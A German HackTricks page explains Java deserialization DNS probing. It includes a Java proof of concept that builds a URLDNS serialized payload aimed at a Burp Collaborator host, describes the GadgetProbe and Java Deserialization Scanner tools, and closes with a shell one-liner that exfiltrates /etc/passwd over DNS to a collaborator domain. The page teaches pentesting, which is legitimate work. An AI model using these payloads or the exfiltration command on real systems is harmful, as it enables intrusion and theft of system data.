Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

DNS-Anfrage bei Deserialisierung

Die Klasse java.net.URL implementiert Serializable, das bedeutet, dass diese Klasse serialisiert werden kann.

public final class URL implements java.io.Serializable {

Diese Klasse hat ein merkwürdiges Verhalten. Aus der Dokumentation: "Zwei Hosts gelten als äquivalent, wenn beide Hostnamen in dieselben IP-Adressen aufgelöst werden können". Dann wird jedes Mal, wenn ein URL-Objekt eine der Funktionen equals oder hashCode aufruft, eine DNS-Anfrage zur IP-Adresse gesendet.

Das Aufrufen der Funktion hashCode von einem URL-Objekt ist ziemlich einfach, es reicht aus, dieses Objekt in eine HashMap einzufügen, die deserialisiert wird. Dies liegt daran, dass am Ende der Funktion readObject von HashMap dieser Code ausgeführt wird:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

Es wird ausgeführt putVal mit jedem Wert innerhalb des HashMaps. Aber noch wichtiger ist der Aufruf von hash mit jedem Wert. Dies ist der Code der hash-Funktion:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Wie Sie beobachten können, wird beim Deserialisieren einer HashMap die Funktion hash mit jedem Objekt ausgeführt und während der Ausführung von hash wird .hashCode() des Objekts ausgeführt. Daher wird, wenn Sie eine HashMap deserialisieren, die ein URL-Objekt enthält, das URL-Objekt .hashCode() ausführen.

Nun werfen wir einen Blick auf den Code von URLObject.hashCode():

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Wie Sie sehen können, wenn ein URLObject .hashCode() ausführt, wird es als hashCode(this) bezeichnet. Eine Fortsetzung zeigt den Code dieser Funktion:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Du kannst sehen, dass eine getHostAddress-Anfrage an die Domain gestellt wird, um eine DNS-Abfrage zu starten.

Daher kann diese Klasse missbraucht werden, um eine DNS-Abfrage zu starten, um zu demonstrieren, dass Deserialisierung möglich ist, oder sogar um Informationen auszuschleusen (du kannst als Subdomain die Ausgabe einer Befehlsausführung anhängen).

URLDNS Payload Code Beispiel

Du kannst den URLDNS Payload-Code von ysoserial hier finden. Allerdings habe ich zur Vereinfachung des Verständnisses, wie man es codiert, meinen eigenen PoC erstellt (basierend auf dem von ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Weitere Informationen

GadgetProbe

Sie können GadgetProbe aus dem Burp Suite App Store (Extender) herunterladen.

GadgetProbe wird versuchen herauszufinden, ob bestimmte Java-Klassen auf dem Java-Server existieren, damit Sie wissen, ob er anfällig für bekannte Exploits ist.

Wie funktioniert es

GadgetProbe wird dasselbe DNS-Payload des vorherigen Abschnitts verwenden, aber bevor die DNS-Abfrage ausgeführt wird, wird versucht, eine beliebige Klasse zu deserialisieren. Wenn die beliebige Klasse existiert, wird die DNS-Abfrage gesendet und GadgetProbe wird feststellen, dass diese Klasse existiert. Wenn die DNS-Anfrage nie gesendet wird, bedeutet dies, dass die beliebige Klasse nicht erfolgreich deserialisiert wurde, sodass sie entweder nicht vorhanden ist oder nicht serialisierbar/exploitierbar ist.

Im Github gibt es GadgetProbe-Wortlisten mit Java-Klassen, die getestet werden sollen.

Weitere Informationen

Java Deserialisierungs-Scanner

Dieser Scanner kann aus dem Burp App Store (Extender) heruntergeladen werden. Die Erweiterung verfügt über passive und aktive Fähigkeiten.

Passiv

Standardmäßig überprüft er passiv alle gesendeten Anfragen und Antworten auf das Vorhandensein von Java-serialisierten Magic Bytes und gibt eine Warnung aus, wenn welche gefunden werden:

Aktiv

Manuelle Tests

Sie können eine Anfrage auswählen, mit der rechten Maustaste darauf klicken und Anfrage an DS - Manuelle Tests senden. Dann können Sie im Deserialisierungs-Scanner-Tab --> Manueller Test-Tab den Einfügepunkt auswählen. Und den Test starten (Wählen Sie den entsprechenden Angriff je nach verwendeter Codierung).

Auch wenn dies als "Manueller Test" bezeichnet wird, ist es ziemlich automatisiert. Es wird automatisch überprüfen, ob die Deserialisierung anfällig für irgendein ysoserial-Payload ist, indem die auf dem Webserver vorhandenen Bibliotheken überprüft werden, und die anfälligen Bibliotheken hervorheben. Um nach anfälligen Bibliotheken zu suchen, können Sie wählen, Javas Sleeps zu starten, Sleeps über CPU-Verbrauch oder die Verwendung von DNS, wie zuvor erwähnt.

Ausnutzen

Sobald Sie eine anfällige Bibliothek identifiziert haben, können Sie die Anfrage an den Ausnutzen-Tab senden. In diesem Tab müssen Sie erneut den Einfügepunkt auswählen, die anfällige Bibliothek angeben, für die Sie ein Payload erstellen möchten, und den Befehl. Drücken Sie dann einfach den entsprechenden Angriffs-Button.

Java Deserialisierungs-DNS-Exfil-Informationen

Lassen Sie Ihr Payload etwas Ähnliches ausführen wie:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Weitere Informationen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated